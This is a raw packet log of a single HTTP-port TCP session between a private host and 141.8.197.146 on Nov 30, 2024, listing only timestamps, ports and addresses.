Nov 30, 2024 05:00:21.262882948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.262957096 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.263701916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.263772964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.263811111 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.264687061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.264817953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.264861107 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.265624046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.265726089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.265785933 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.266551018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.266695023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.266825914 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.267504930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.267606974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.267676115 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.268450022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.268646002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.268693924 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.269407034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.269527912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.269598007 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.270381927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.270545006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.270622015 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.271290064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.311367035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.311441898 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.311466932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.311841965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.311904907 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.311960936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.312829018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.312927961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.312998056 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.313772917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.313848019 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.313899040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.314685106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.314804077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.314912081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.315642118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.315737963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.315758944 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.316615105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.316633940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.316680908 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.367860079 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.438975096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.439162970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.439249039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.439328909 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.439363003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.439418077 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.440208912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.440320015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.441135883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.441209078 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.441243887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.441293955 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.442110062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.442230940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.442300081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.443041086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.443160057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.444017887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.444077015 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.444129944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.444176912 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.444936991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.445049047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.445890903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.445981979 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.446007013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.446073055 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.446832895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.447017908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.447789907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.447875977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.447918892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.448048115 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.448736906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.448832989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.449678898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.449762106 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.449810982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.449899912 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.450647116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.450660944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.450763941 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.451582909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.451695919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.452521086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.452646017 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.452652931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.452737093 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.453571081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.453618050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.454416037 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.454448938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.454536915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.455420971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.455486059 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.455497026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.455549002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.456322908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.456428051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.457277060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.457360029 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.457396030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.457479954 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.458225012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.458348989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.458414078 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.459183931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.459292889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.460115910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.460195065 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.460239887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.460294008 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.461065054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.461178064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.462017059 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.462030888 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.462131977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.462955952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.463027954 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.463072062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.463244915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.463938951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.464059114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.464876890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.464960098 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.464997053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.465082884 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.465863943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.465913057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.466074944 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.466767073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.466871977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.467693090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.467752934 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.467814922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.467859030 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.468667984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.468796968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.469604015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.469722033 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.469726086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.469778061 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.470554113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.470679045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.470778942 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.471502066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.471616983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.472453117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.472544909 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.472577095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.472651005 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.473448992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.473541021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.473934889 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.474375010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.474492073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.475297928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.475383043 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.475399971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.475462914 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.476284981 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.476411104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.477205038 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.477274895 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.477298021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.477346897 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.478157043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.478285074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.478341103 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.479140043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.479247093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.480082989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.480164051 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.480190992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.480258942 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.480993986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.481120110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.481952906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.482026100 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.482040882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.482125044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.512588024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.512687922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.512986898 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.513008118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.513202906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.513315916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.513385057 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.514177084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.514291048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.514364958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.515098095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.515166998 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.515204906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.516081095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.516096115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.516144991 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.517023087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.517091990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.517095089 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.517937899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.518234968 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.640429020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.640598059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.640674114 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.640964985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.641082048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.641902924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.642005920 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.642050028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.642837048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.642899990 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.642944098 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.643012047 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.643779039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.643902063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.644716978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.644810915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.644844055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.644892931 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.645675898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.645821095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.645998001 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.646622896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.646742105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.647576094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.647630930 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.647682905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.647754908 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.648616076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.648746967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.649475098 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.649539948 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.649578094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.649642944 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.650412083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.650527954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.650645971 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.651397943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.651521921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.652331114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.652380943 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.652498960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.652614117 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.653286934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.653405905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.654144049 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.654198885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.654340982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.655153990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.655236959 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.655281067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.655333042 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.656125069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.656234026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.657057047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.657110929 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.657165051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.657217979 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.658010006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.658119917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.658190966 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.658948898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.659068108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.659923077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.659977913 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.660028934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.660087109 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.660866022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.660989046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.661798954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.661870003 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.661915064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.662760019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.662826061 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.662862062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.662909985 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.663712025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.663813114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.664669037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.664772034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.664793015 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.664838076 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.665613890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.665723085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.665950060 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.666548967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.666673899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.667504072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.667572021 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.667628050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.667695045 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.668464899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.668621063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.669384956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.669477940 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.669518948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.669578075 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.670339108 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.670444965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.670500040 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.671295881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.671338081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.672236919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.672305107 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.672348022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.672396898 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.673201084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.673305035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.674012899 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.674130917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.674246073 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.675080061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.675141096 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.675189972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.675240993 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.676034927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.676153898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.676983118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.677090883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.677093029 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.677172899 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.677918911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.678054094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.678873062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.678966045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.678973913 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.679013968 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:21.679845095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.679955959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:21.680371046 CET	49732	80	192.168.2.4	141.8.197.146
